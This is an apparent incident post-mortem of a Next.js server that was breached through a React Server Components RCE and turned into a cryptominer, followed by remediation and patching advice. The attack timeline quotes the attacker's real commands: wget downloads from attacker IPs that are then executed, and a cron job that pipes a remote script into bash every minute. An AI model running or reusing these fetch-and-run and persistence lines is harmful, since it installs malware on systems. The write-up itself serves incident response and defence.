We Got Hacked: How CVE-2025-55182 Turned Our Next.js App Into a Crypto Mine

Source: Dev.to

TL;DR

Our Next.js application was compromised two days after CVE‑2025‑55182 was publicly disclosed. A critical Remote Code Execution vulnerability in React Server Components allowed an attacker to deploy cryptomining malware. Full remediation took ~15 minutes.

The Call That Changed Everything

8:30 AM – Slack notification: “Admin panel is down. Gateway errors everywhere.”

8:32 AM – PM2 process list showed repeated crashes:

│ 0  │ boss-backend        │ waiting │ 8450 │ 0%  │

The backend had crashed 8,450 times.

Discovery: The Smoking Gun

While investigating the crash logs, our security monitor flagged a high‑CPU process that had been running undetected for ~2 days:

WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%
WARNING: High CPU processes detected: /tmp/kdevtmpfsi 352%

kdevtmpfsi is a well‑known cryptominer malware signature. Our server was being used to mine cryptocurrency without our knowledge.

The Vulnerability: CVE‑2025‑55182

Why It’s So Dangerous

The flaw resides in the React Server Components “Flight” protocol, which handles serialization/deserialization between server and client. Insecure deserialization allows an attacker to craft a malicious HTTP request that executes arbitrary code on the server.

Key characteristics

• No authentication required
• Works on default configurations
• Public exploits are available
• A single request is sufficient

Traditional perimeter defenses (firewall, rate limiting, Fail2ban) cannot stop this application‑level vulnerability.

How We Got Pwned (Timeline)

December 5 2025

12:30 PM – First attack attempt

wget http://45.76.155.14/vim -O /tmp/vim
chmod +x /tmp/vim
nohup /tmp/vim > /dev/null 2>&1

The attacker downloaded and executed a malicious binary disguised as “vim”.

1:50 PM – Second wave (botnet deployment)

wget -q http://194.69.203.32:81/hiddenbink/react.sh -O bins.sh
chmod 777 bins.sh
./bins.sh

5:01 PM – Payload delivery (Kinsing cryptominer)

wget http://193.34.213.150/nuts/lc -O /tmp/config.json
wget http://193.34.213.150/nuts/x -O /tmp/fghgf

December 6 2025

• ~Midnight – kdevtmpfsi spawns, consuming 352 % CPU (≈3.5 cores).
• 7:04 PM – Attacker installs persistent cron jobs.

December 8 2025

• 5:33 AM – System becomes unresponsive; investigation begins.

What the Attacker Actually Got

Installed Malware

• Kinsing (/tmp/kinsing) – Dropper/loader
• Kdevtmpfsi (/tmp/kdevtmpfsi) – XMRig‑based Monero cryptominer
• Libsystem.so (/tmp/libsystem.so) – LD_PRELOAD rootkit (process hiding)
• config.json (/tmp/config.json) – Mining pool configuration

Persistence Mechanisms

@reboot /usr/bin/.kworker react 20.193.135.188:443
* * * * * wget -q -O - http://80.64.16.241/re.sh | bash

The second line runs every minute, ensuring the malware returns even if manually removed.

What They Didn’t Get

• No data exfiltration – CPU theft only.
• No root access – Attacker operated with user‑level permissions.
• No lateral movement – Attack was confined to this single server.

How Our Security Failed Us

Root cause: Over‑reliance on perimeter security instead of robust application‑level protection.

Remediation (15 Minutes)

Step 1: Kill the Malware

sudo kill -9 $(pgrep -f kdevtmpfsi)
sudo kill -9 $(pgrep -f kinsing)

Step 2: Remove Persistence

# Clean crontab
echo "*/5 * * * * /path/to/legitimate-monitor.sh" | crontab -

# Remove malware files
sudo rm -f /tmp/kinsing /tmp/kdevtmpfsi /tmp/libsystem.so /tmp/config.json

Step 3: Patch the Application

cd apps/web
npm install next@15.5.7 react@19.0.1 react-dom@19.0.1
npm run build
pm2 restart boss-frontend

Step 4: Verify

npm list next
# ✓ next@15.5.7 (patched version confirmed)

Total time: ~15 minutes from discovery to full recovery.

Lessons Learned

What Went Wrong

• Delayed patching – CVE disclosed Dec 3; exploited Dec 5 (2‑day window).
• Incomplete detection – Security monitor didn’t flag the malware process.
• No outbound monitoring – Missed connections to mining pools.
• Overconfidence – Assumed perimeter security was sufficient.

What Went Right

• Existing monitoring – PM2 highlighted repeated crashes.
• Quick response – Full containment achieved within minutes.
• Limited damage – Only resource theft, no data loss.
• Automated tools – PM2 and npm streamlined recovery.

How to Protect Yourself

Immediate Actions (Do These Now)

Check your versions

npm list next
npm list react
npm list react-dom

If you’re on Next.js 15.x, 16.x or React 19.0‑19.2, you’re vulnerable.

Update to patched versions

npm install next@latest react@latest react-dom@latest
npm run build

• Subscribe to security advisories.
• Add npm audit to your CI/CD pipeline.
• Enable Dependabot, Snyk, or similar automated alerts.
• Follow Vercel security updates.

Short‑Term Protections (This Week)

Enable WAF rules
If using Cloudflare, AWS WAF, or Vercel, activate their RSC protection rules—specific defenses for CVE‑2025‑55182 are already available.

Add dependency scanning to CI/CD

npm audit --audit-level=high

Fail the build if critical vulnerabilities are found.

Long‑Term Improvements (This Month)

• Monitor outbound connections – Log and alert on unusual outbound traffic; mining pools typically connect to known IPs.
• Implement CPU/Memory anomaly detection – Trigger alerts when processes exceed normal usage thresholds.
• Adopt application‑level security testing – Include fuzzing and secure deserialization checks for React Server Components.
• Regularly patch third‑party libraries – Automate version checks and apply security patches promptly.